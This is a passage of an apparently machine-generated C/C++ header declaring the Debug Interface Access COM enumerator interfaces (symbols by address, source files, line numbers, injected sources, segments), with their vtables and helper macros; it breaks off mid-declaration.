__IDiaEnumSymbolsByAddr2_INTERFACE_DEFINED__\n#define __IDiaEnumSymbolsByAddr2_INTERFACE_DEFINED__\n\n/* interface IDiaEnumSymbolsByAddr2 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumSymbolsByAddr2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"1E45BD02-BE45-4D71-BA32-0E576CFCD59F\")\n    IDiaEnumSymbolsByAddr2 : public IDiaEnumSymbolsByAddr\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE symbolByAddrEx( \n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [retval][out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE symbolByRVAEx( \n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE symbolByVAEx( \n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ ULONGLONG virtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE NextEx( \n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE PrevEx( \n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumSymbolsByAddr2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumSymbolsByAddr2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumSymbolsByAddr2 * This);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByAddr )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByRVA )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByVA )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ ULONGLONG virtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Prev )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [out] */ IDiaEnumSymbolsByAddr **ppenum);\n        \n        HRESULT ( STDMETHODCALLTYPE *symbolByAddrEx )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *symbolByRVAEx )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *symbolByVAEx )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ ULONGLONG virtualAddress,\n            /* [retval][out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *NextEx )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *PrevEx )( \n            IDiaEnumSymbolsByAddr2 * This,\n            /* [in] */ BOOL fPromoteBlockSym,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSymbol **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        END_INTERFACE\n    } IDiaEnumSymbolsByAddr2Vtbl;\n\n    interface IDiaEnumSymbolsByAddr2\n    {\n        CONST_VTBL struct IDiaEnumSymbolsByAddr2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumSymbolsByAddr2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumSymbolsByAddr2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumSymbolsByAddr2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumSymbolsByAddr2_symbolByAddr(This,isect,offset,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByAddr(This,isect,offset,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr2_symbolByRVA(This,relativeVirtualAddress,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByRVA(This,relativeVirtualAddress,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr2_symbolByVA(This,virtualAddress,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByVA(This,virtualAddress,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr2_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSymbolsByAddr2_Prev(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Prev(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSymbolsByAddr2_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n\n#define IDiaEnumSymbolsByAddr2_symbolByAddrEx(This,fPromoteBlockSym,isect,offset,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByAddrEx(This,fPromoteBlockSym,isect,offset,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr2_symbolByRVAEx(This,fPromoteBlockSym,relativeVirtualAddress,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByRVAEx(This,fPromoteBlockSym,relativeVirtualAddress,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr2_symbolByVAEx(This,fPromoteBlockSym,virtualAddress,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolByVAEx(This,fPromoteBlockSym,virtualAddress,ppSymbol) ) \n\n#define IDiaEnumSymbolsByAddr2_NextEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> NextEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSymbolsByAddr2_PrevEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> PrevEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumSymbolsByAddr2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumSourceFiles_INTERFACE_DEFINED__\n#define __IDiaEnumSourceFiles_INTERFACE_DEFINED__\n\n/* interface IDiaEnumSourceFiles */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumSourceFiles;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"10F3DBD9-664F-4469-B808-9471C7A50538\")\n    IDiaEnumSourceFiles : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSourceFile **sourceFile) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSourceFile **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumSourceFiles **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumSourceFilesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumSourceFiles * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumSourceFiles * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumSourceFiles * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumSourceFiles * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumSourceFiles * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumSourceFiles * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSourceFile **sourceFile);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumSourceFiles * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSourceFile **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumSourceFiles * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumSourceFiles * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumSourceFiles * This,\n            /* [out] */ IDiaEnumSourceFiles **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumSourceFilesVtbl;\n\n    interface IDiaEnumSourceFiles\n    {\n        CONST_VTBL struct IDiaEnumSourceFilesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumSourceFiles_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumSourceFiles_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumSourceFiles_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumSourceFiles_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumSourceFiles_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumSourceFiles_Item(This,index,sourceFile)\t\\\n    ( (This)->lpVtbl -> Item(This,index,sourceFile) ) \n\n#define IDiaEnumSourceFiles_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSourceFiles_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumSourceFiles_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumSourceFiles_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumSourceFiles_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumInputAssemblyFiles_INTERFACE_DEFINED__\n#define __IDiaEnumInputAssemblyFiles_INTERFACE_DEFINED__\n\n/* interface IDiaEnumInputAssemblyFiles */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumInputAssemblyFiles;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"1C7FF653-51F7-457E-8419-B20F57EF7E4D\")\n    IDiaEnumInputAssemblyFiles : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaInputAssemblyFile **file) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaInputAssemblyFile **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumInputAssemblyFiles **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumInputAssemblyFilesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumInputAssemblyFiles * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumInputAssemblyFiles * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumInputAssemblyFiles * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumInputAssemblyFiles * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumInputAssemblyFiles * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumInputAssemblyFiles * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaInputAssemblyFile **file);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumInputAssemblyFiles * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaInputAssemblyFile **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumInputAssemblyFiles * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumInputAssemblyFiles * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumInputAssemblyFiles * This,\n            /* [out] */ IDiaEnumInputAssemblyFiles **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumInputAssemblyFilesVtbl;\n\n    interface IDiaEnumInputAssemblyFiles\n    {\n        CONST_VTBL struct IDiaEnumInputAssemblyFilesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumInputAssemblyFiles_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumInputAssemblyFiles_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumInputAssemblyFiles_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumInputAssemblyFiles_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumInputAssemblyFiles_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumInputAssemblyFiles_Item(This,index,file)\t\\\n    ( (This)->lpVtbl -> Item(This,index,file) ) \n\n#define IDiaEnumInputAssemblyFiles_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumInputAssemblyFiles_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumInputAssemblyFiles_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumInputAssemblyFiles_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumInputAssemblyFiles_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumLineNumbers_INTERFACE_DEFINED__\n#define __IDiaEnumLineNumbers_INTERFACE_DEFINED__\n\n/* interface IDiaEnumLineNumbers */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumLineNumbers;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"FE30E878-54AC-44f1-81BA-39DE940F6052\")\n    IDiaEnumLineNumbers : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaLineNumber **lineNumber) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaLineNumber **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumLineNumbers **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumLineNumbersVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumLineNumbers * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumLineNumbers * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumLineNumbers * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumLineNumbers * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumLineNumbers * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumLineNumbers * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaLineNumber **lineNumber);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumLineNumbers * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaLineNumber **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumLineNumbers * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumLineNumbers * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumLineNumbers * This,\n            /* [out] */ IDiaEnumLineNumbers **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumLineNumbersVtbl;\n\n    interface IDiaEnumLineNumbers\n    {\n        CONST_VTBL struct IDiaEnumLineNumbersVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumLineNumbers_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumLineNumbers_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumLineNumbers_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumLineNumbers_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumLineNumbers_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumLineNumbers_Item(This,index,lineNumber)\t\\\n    ( (This)->lpVtbl -> Item(This,index,lineNumber) ) \n\n#define IDiaEnumLineNumbers_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumLineNumbers_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumLineNumbers_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumLineNumbers_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumLineNumbers_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumInjectedSources_INTERFACE_DEFINED__\n#define __IDiaEnumInjectedSources_INTERFACE_DEFINED__\n\n/* interface IDiaEnumInjectedSources */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumInjectedSources;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"D5612573-6925-4468-8883-98CDEC8C384A\")\n    IDiaEnumInjectedSources : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaInjectedSource **injectedSource) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaInjectedSource **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumInjectedSources **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumInjectedSourcesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumInjectedSources * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumInjectedSources * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumInjectedSources * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumInjectedSources * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumInjectedSources * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumInjectedSources * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaInjectedSource **injectedSource);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumInjectedSources * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaInjectedSource **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumInjectedSources * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumInjectedSources * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumInjectedSources * This,\n            /* [out] */ IDiaEnumInjectedSources **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumInjectedSourcesVtbl;\n\n    interface IDiaEnumInjectedSources\n    {\n        CONST_VTBL struct IDiaEnumInjectedSourcesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumInjectedSources_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumInjectedSources_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumInjectedSources_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumInjectedSources_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumInjectedSources_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumInjectedSources_Item(This,index,injectedSource)\t\\\n    ( (This)->lpVtbl -> Item(This,index,injectedSource) ) \n\n#define IDiaEnumInjectedSources_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumInjectedSources_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumInjectedSources_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumInjectedSources_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumInjectedSources_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumSegments_INTERFACE_DEFINED__\n#define __IDiaEnumSegments_INTERFACE_DEFINED__\n\n/* interface IDiaEnumSegments */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumSegments;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"E8368CA9-01D1-419d-AC0C-E31235DBDA9F\")\n    IDiaEnumSegments : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSegment **segment) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSegment **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        